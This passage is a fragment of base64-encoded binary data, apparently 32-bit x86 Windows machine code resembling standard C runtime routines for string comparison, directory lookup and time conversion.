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 BgrAdApGD6MEJHPzjUb/g8QgX